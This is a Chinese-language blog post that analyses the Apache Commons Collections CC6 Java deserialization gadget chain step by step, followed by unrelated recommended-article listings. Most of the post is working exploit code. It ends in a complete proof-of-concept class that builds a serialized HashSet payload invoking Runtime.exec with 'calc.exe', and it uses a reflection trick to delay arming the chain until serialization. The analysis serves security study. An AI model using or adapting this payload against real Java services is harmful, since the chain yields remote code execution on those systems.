利用链如下:

其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致。

/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/

1、InvokerTransformer.transform()因为Runtime类不实现Serializable接口,所以使用Class类对象反射构造Runtime对象来实现exec方法。InvokerTransformer.transform()具备反射执行能力。

Class cr = Class.forName("java.lang.Runtime");
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(cr);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

2、ChainedTransformer.transform()

使用ChainedTransformer构造方法,给iTransformers赋值,在transform中执行iTransformers所有元组的transform,transform传入的参数为前一个元组的对象。所以这个方法可以对步骤1中链执行。

public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

创建一个Transformer[],包含步骤1中所有对象。

Transformer[] transformers = {
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) };

由于步骤1中cr对象是Class对象,不实现Transformer接口。通过ConstantTransformer的transform方法得到一个实现Transformer的方法。

public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
} public Object transform(Object input) {
return iConstant;
}

所以最终得到的transformers是

public static void main(String[] args) throws Exception {
// Class cr = Class.forName("java.lang.Runtime");
;
Transformer[] transformers = {
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; new ChainedTransformer(transformers).transform(1);
//calc.exe
}

3、LazyMap.get()

LazyMap类的get方法实现了,对factory的transform。factory的decorate方法实现了对factory的赋值,Transformer类型

所以向decorate传入new ChainedTransformer(transformers),最终调用get来实现new ChainedTransformer(transformers)的transform。

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
} public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

当然调用get方法的时候,如果key是不存在的才会执行factory.transform(key),所以最终的调用

Transformer transformer = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put(1,"hello");
Map lazyMap = LazyMap.decorate(map, transformer);
lazyMap.get(2);
//calc.exe

4、TiedMapEntry

根据利用链,下一步通过TiedMapEntry构造方法传入map和key,通过getValue实现对map参数的get操作,所以将lazyMap和一个不存在的key作为参数传入。

public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}

利用链

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.getValue();

再看TiedMapEntry的hashCode方法,实现了getValue()的调用。

public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

利用链

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2);
tiedMapEntry.hashcode();

5、HashMap

hashmap的hash实现了对参数key的hashcode方法,put方法实现了hash方法

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

利用链

Map hashmap = new HashMap();
hashmap.put(tiedMapEntry,1);
//calc.exe

6、HashSet

根据利用链看HashSet类的readobject(),由于map = new HashMap<>(),最终实现了在readobject中调用了hashmap.put方法。

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
...
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

利用链

HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
objectOutputStream.writeObject(hashSet); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
objectInputStream.readObject();

由于在TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2)中实际执行的lazyMap.get(2)。

public Object getValue() {
return map.get(key);
}

lazyMap.get(2)该执行过程中,如果lazyMap不存在key,会对lazyMap储值。

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

所以在做序列化的时候实际lazyMap中已经存在了key=2,反序列化的时候map.containsKey(key) == false不成立,在反序列化过程中无法成功执行Object value = factory.transform(key);

在序列化之前需要将该key移除

lazyMap.remove(2);

优化:

由于hashSet.add(tiedMapEntry);中,执行了map.put(tiedMapEntry),最终会在本地执行exec。

public boolean add(E e) {
return map.put(e, PRESENT)==null;
}

在一开始可以对transformers赋空值,在序列化之前再对ChainedTransformer类产生的transformer的iTransformers通过反射做修改,将实际执行的exec执行链传入。

Transformer[] transformers = {};
Transformer[] transformerslist = {
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
}; Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformerslist);

最终的利用链

public class CC6Test1 {
public static void main(String[] args) throws Exception { Transformer[] transformers = {};
Transformer[] transformerslist = {
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
}; Transformer transformer = new ChainedTransformer(transformers); Map map = new HashMap();
map.put(1,"hello");
Map lazyMap = LazyMap.decorate(map, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 2); HashSet hashSet = new HashSet();
hashSet.add(tiedMapEntry);
lazyMap.remove(2); Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformerslist); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc6.ser"));
objectOutputStream.writeObject(hashSet); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc6.ser"));
objectInputStream.readObject(); }
}

ysoserial commonscollections6 分析的更多相关文章

  1. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  2. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  3. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  4. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  5. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  6. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  7. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  8. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  9. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

随机推荐

  1. 浅谈 Lucas 定理

    Lucas 定理是用来求 \(C^n_m\bmod p\) 的. 定理 \[C^n_m\equiv C^{n\bmod p}_{m\bmod p}\cdot C^{\lfloor n/p\rfloor ...

  2. JS for in / foreach / for of 超简单对照解释

    for in 可以遍历数组/对象/字符串/enumerable对象,得到的是索引,遍历对象时可以写这样 obj[index] 代表对象当前的属性foreach 只能遍历数组,不能遍历字符串.对象for ...

  3. 从-99打造Sentinel高可用集群限流中间件

    接上篇Sentinel集群限流探索,上次简单提到了集群限流的原理,然后用官方给的 demo 简单修改了一下,可以正常运行生效. 这一次需要更进一步,基于 Sentinel 实现内嵌式集群限流的高可用方 ...

  4. BTDetect用户手册和技术支持

    BTDetect用户手册和技术支持 1. 程序主要功能 BTDetect是BT(BioTechnology) Detect 生物科技检测的缩写.本程序将根据用户的回答推断其两大基因类型.以及具体的小分 ...

  5. Elasticsearch-Kibana-学习笔记

    1.背景 1.1 简介 Elasticsearch 是一个分布式.高扩展.高实时的搜索与数据分析引擎.它能很方便的使大量数据具有搜索.分析和探索的能力.充分利用Elasticsearch的水平伸缩性, ...

  6. feign的fallback操作

    Fallback可以帮助我们在使用Feign去调用另外一个服务时,如果出现了问题,走服务降级,返回一个错误数据,避免功能因为一个服务出现问题,全部失效. 依赖: <dependency> ...

  7. 【JavaWeb】学习路径1-背景

    JavaWeb系列也是一个非常庞大的系列,主要分为五个部分讲解: HTML JSP和Servlet CSS的讲解 JavaScrip的讲解 jQuery框架的讲解 学习完上述内容后,就能够基本了解一个 ...

  8. 未完待续【java】JavaEE学习路线总览

    这个博客会详细介绍各种技术的知识点,从零基础到入门,充当引路的作用. 同时也会发布一些Swift语言.c#语言.Xcode开发的学习笔记.一些阅读的笔记(部分读书笔记无法发布). 目前1-43的Jav ...

  9. 「题解报告」P2154 虔诚的墓主人

    P2154 虔诚的墓主人 题解 原题传送门 题意 在 \(n\times m\) 一个方格上给你 \(w\) 个点,求方格里每个点正上下左右各选 \(k\) 个点的方案数. \(1 \le N, M ...

  10. 项目实践2:(问卷)用html和css做一个网页

    好家伙,又来写项目了 1.以下是考题,姑且把他理解为甲方吧. 2.以下是附带的题目素材 开干.